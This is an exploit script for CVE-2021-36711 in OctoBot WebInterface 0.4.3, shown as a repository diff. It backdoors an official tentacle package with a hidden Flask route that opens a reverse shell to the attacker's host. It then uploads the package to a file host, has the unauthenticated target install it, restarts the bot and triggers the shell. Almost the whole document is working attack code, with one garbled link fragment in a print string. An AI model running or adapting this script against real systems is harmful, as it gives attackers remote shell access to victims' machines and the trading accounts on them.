1
+ # Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
2
+ # Date: 9/2/2021
3
+ # Exploit Author: Samy Younsi, Thomas Knudsen
4
+ # Vendor Homepage: https://www.octobot.online/
5
+ # Software Link: https://github.com/Drakkar-Software/OctoBot
6
+ # Version: 0.4.0beta3 - 0.4.3
7
+ # Tested on: Linux (Ubuntu, CentOs)
8
+ # CVE : CVE-2021-36711
9
+
10
+ from __future__ import print_function , unicode_literals
11
+ from bs4 import BeautifulSoup
12
+ import argparse
13
+ import requests
14
+ import zipfile
15
+ import time
16
+ import sys
17
+ import os
18
+
19
+ def banner ():
20
+ sashimiLogo = """
21
+ _________ . .
22
+ (.. \_ , |\ /|
23
+ \ O \ /| \ \/ /
24
+ \______ \/ | \ /
25
+ vvvv\ \ | / |
26
+ _ _ _ _ \^^^^ == \_/ |
27
+ | | __ _ | || |__ (_)_ __ ___ (_)`\_ === \. |
28
+ / __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_ \ / |
29
+ \__ | (_| \__ | | | | | | | | | | ||/ \_ \| /
30
+ ( /\__,_( |_| |_|_|_| |_| |_|_| \________/
31
+ |_| |_| \033 [1;91mOctoBot Killer\033 [1;m
32
+ Author: \033 [1;92mNaqwada\033 [1;m
33
+ RuptureFarm 1029
34
+
35
+ FOR EDUCATIONAL PURPOSE ONLY.
36
+ """
37
+ return print ('\033 [1;94m{}\033 [1;m' .format (sashimiLogo ))
38
+
39
+
40
+ def help ():
41
+ print ('[!] \033 [1;93mUsage: \033 [1;m' )
42
+ print ('[-] python3 {} --RHOST \033 [1;92mTARGET_IP\033 [1;m --RPORT \033 [1;92mTARGET_PORT\033 [1;m --LHOST \033 [1;92mYOUR_IP\033 [1;m --LPORT \033 [1;92mYOUR_PORT\033 [1;m' .format (sys .argv [0 ]))
43
+ print ('[-] \033 [1;93mNote*\033 [1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.' )
44
+
45
+
46
+ def getOctobotVersion (RHOST , RPORT ):
47
+ if RPORT == 443 :
48
+ url = 'https://{}:{}/api/version' .format (RHOST , RPORT )
49
+ else :
50
+ url = 'http://{}:{}/api/version' .format (RHOST , RPORT )
51
+ return curl (url )
52
+
53
+
54
+ def restartOctobot (RHOST , RPORT ):
55
+ if RPORT == 443 :
56
+ url = 'https://{}:{}/commands/restart' .format (RHOST , RPORT )
57
+ else :
58
+ url = 'http://{}:{}/commands/restart' .format (RHOST , RPORT )
59
+
60
+ try :
61
+ requests .get (url , allow_redirects = False , verify = False , timeout = 1 )
62
+ except requests .exceptions .ConnectionError as e :
63
+ print ('[+] \033 [1;92mOctoBot is restarting ... Please wait 30 seconds.\033 [1;m' )
64
+ time .sleep (30 )
65
+
66
+
67
+ def downloadTentaclePackage (octobotVersion ):
68
+ print ('[+] \033 [1;92mStart downloading Tentacle package for OctoBot {}.\033 [1;m' .format (octobotVersion ))
69
+ url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip' .format (octobotVersion )
70
+ result = requests .get (url , stream = True )
71
+ with open ('{}.zip' .format (octobotVersion ), 'wb' ) as fd :
72
+ for chunk in result .iter_content (chunk_size = 128 ):
73
+ fd .write (chunk )
74
+ print ('[+] \033 [1;92mDownload completed!\033 [1;m' )
75
+
76
+
77
+ def unzipTentaclePackage (octobotVersion ):
78
+ zip = zipfile .ZipFile ('{}.zip' .format (octobotVersion ))
79
+ zip .extractall ('quests' )
80
+ os .remove ('{}.zip' .format (octobotVersion ))
81
+ print ('[+] \033 [1;92mTentacle package has been extracted.\033 [1;m' )
82
+
83
+
84
+ def craftBackdoor (octobotVersion ):
85
+ print ('[+] \033 [1;92mCrafting backdoor for Octobot Tentacle Package {}...\033 [1;m' .format (octobotVersion ))
86
+ path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'
87
+ injectInitFile (path )
88
+ injectMetadataFile (path )
89
+ print ('[+] \033 [1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033 [1;m' .format (octobotVersion ))
90
+
91
+
92
+ def injectMetadataFile (path ):
93
+ with open ('{}metadata.py' .format (path ),'r' ) as metadataFile :
94
+ content = metadataFile .read ()
95
+ addPayload = content .replace ('import json' , '' .join ('import json\n import flask\n import sys, socket, os, pty' ))
96
+ addPayload = addPayload .replace ('@api.api.route("/announcements")' , '' .join ('@api.api.route("/sashimi")\n def sashimi():\n \t s = socket.socket()\n \t s.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n \t [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n \t pty.spawn("/bin/sh")\n \n \n @api.api.route("/announcements")' ))
97
+ with open ('{}metadata.py' .format (path ),'w' ) as newMetadataFile :
98
+ newMetadataFile .write (addPayload )
99
+
100
+
101
+ def injectInitFile (path ):
102
+ with open ('{}__init__.py' .format (path ),'r' ) as initFile :
103
+ content = initFile .read ()
104
+ addPayload = content .replace ('announcements,' , '' .join ('announcements,\n \t sashimi,' ))
105
+ addPayload = addPayload .replace ('"announcements",' , '' .join ('"announcements",\n \t "sashimi",' ))
106
+ with open ('{}__init__.py' .format (path ),'w' ) as newInitFile :
107
+ newInitFile .write (addPayload )
108
+
109
+
110
+ def rePackTentaclePackage ():
111
+ print ('[+] \033 [1;92mRepacking Tentacle package.\033 [1;m' )
112
+ with zipfile .ZipFile ('any_platform.zip' , mode = 'w' ) as zipf :
113
+ len_dir_path = len ('quests' )
114
+ for root , _ , files in os .walk ('quests' ):
115
+ for file in files :
116
+ file_path = os .path .join (root , file )
117
+ zipf .write (file_path , file_path [len_dir_path :])
118
+
119
+
120
+ def uploadMaliciousTentacle ():
121
+ print ('[+] \033 [1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033 [1;m' )
122
+
123
+ file = {
124
+ 'file' : open ('any_platform.zip' , 'rb' ),
125
+ }
126
+ response = requests .post ('https://api.anonfiles.com/upload' , files = file , timeout = 60 )
127
+ zipLink = response .json ()['data' ]['file' ]['url' ]['full' ]
128
+ response = requests .get (zipLink , timeout = 60 )
129
+ soup = BeautifulSoup (response .content .decode ('utf-8' ), 'html.parser' )
130
+ zipLink = soup .find (id = 'download-url' ).get ('href' )
131
+ print ('[+] \033 [1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033 [1;m' .format (zipLink ))
132
+ return zipLink
133
+
134
+ def curl (url ):
135
+ response = requests .get (url , allow_redirects = False , verify = False , timeout = 60 )
136
+ return response
137
+
138
+
139
+ def injectBackdoor (RHOST , RPORT , zipLink ):
140
+ print ('[+] \033 [1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033 [1;m' )
141
+ if RPORT == 443 :
142
+ url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package' .format (RHOST , RPORT )
143
+ else :
144
+ url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package' .format (RHOST , RPORT )
145
+
146
+ headers = {
147
+ 'Content-Type' : 'application/json' ,
148
+ 'X-Requested-With' : 'XMLHttpRequest' ,
149
+ }
150
+
151
+ data = '{"' + zipLink + '":"register_and_install"}'
152
+
153
+ response = requests .post (url , headers = headers , data = data )
154
+ response = response .content .decode ('utf-8' ).replace ('"' , '' ).strip ()
155
+
156
+ os .remove ('any_platform.zip' )
157
+
158
+ if response != 'Tentacles installed' :
159
+ print ('[!] \033 [1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033 [1;m' )
160
+ exit ()
161
+ print ('[+] \033 [1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033 [1;m' )
162
+
163
+
164
+ def execReverseShell (RHOST , RPORT , LHOST , LPORT ):
165
+ print ('[+] \033 [1;92mExecuting reverse shell on {}:{}.\033 [1;m' .format (LHOST , LPORT ))
166
+ if RPORT == 443 :
167
+ url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}' .format (RHOST , RPORT , LHOST , LPORT )
168
+ else :
169
+ url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}' .format (RHOST , RPORT , LHOST , LPORT )
170
+ return curl (url )
171
+
172
+ def isPassword (RHOST , RPORT ):
173
+ if RPORT == 443 :
174
+ url = 'https://{}:{}' .format (RHOST , RPORT )
175
+ else :
176
+ url = 'http://{}:{}' .format (RHOST , RPORT )
177
+ return curl (url )
178
+
179
+ def main ():
180
+ banner ()
181
+ args = parser .parse_args ()
182
+
183
+ if isPassword (args .RHOST , args .RPORT ).status_code != 200 :
184
+ print ('[!] \033 [1;91mError: This Octobot Platform seems to be protected with a password!\033 [1;m' )
185
+
186
+ octobotVersion = getOctobotVersion (args .RHOST , args .RPORT ).content .decode ('utf-8' ).replace ('"' ,'' ).replace ('OctoBot ' ,'' )
187
+
188
+ if len (octobotVersion ) > 0 :
189
+ print ('[+] \033 [1;92mPlatform OctoBot {} detected.\033 [1;m' .format (octobotVersion ))
190
+
191
+ downloadTentaclePackage (octobotVersion )
192
+ unzipTentaclePackage (octobotVersion )
193
+ craftBackdoor (octobotVersion )
194
+ rePackTentaclePackage ()
195
+ zipLink = uploadMaliciousTentacle ()
196
+ injectBackdoor (args .RHOST , args .RPORT , zipLink )
197
+ restartOctobot (args .RHOST , args .RPORT )
198
+ execReverseShell (args .RHOST , args .RPORT , args .LHOST , args .LPORT )
199
+
200
+
201
+ if __name__ == "__main__" :
202
+ parser = argparse .ArgumentParser (description = 'POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.' , add_help = False )
203
+ parser .add_argument ('-h' , '--help' , help = help ())
204
+ parser .add_argument ('--RHOST' , help = "Refers to the IP of the target machine." , type = str , required = True )
205
+ parser .add_argument ('--RPORT' , help = "Refers to the open port of the target machine." , type = int , required = True )
206
+ parser .add_argument ('--LHOST' , help = "Refers to the IP of your machine." , type = str , required = True )
207
+ parser .add_argument ('--LPORT' , help = "Refers to the open port of your machine." , type = int , required = True )
208
+ main ()
0 commit comments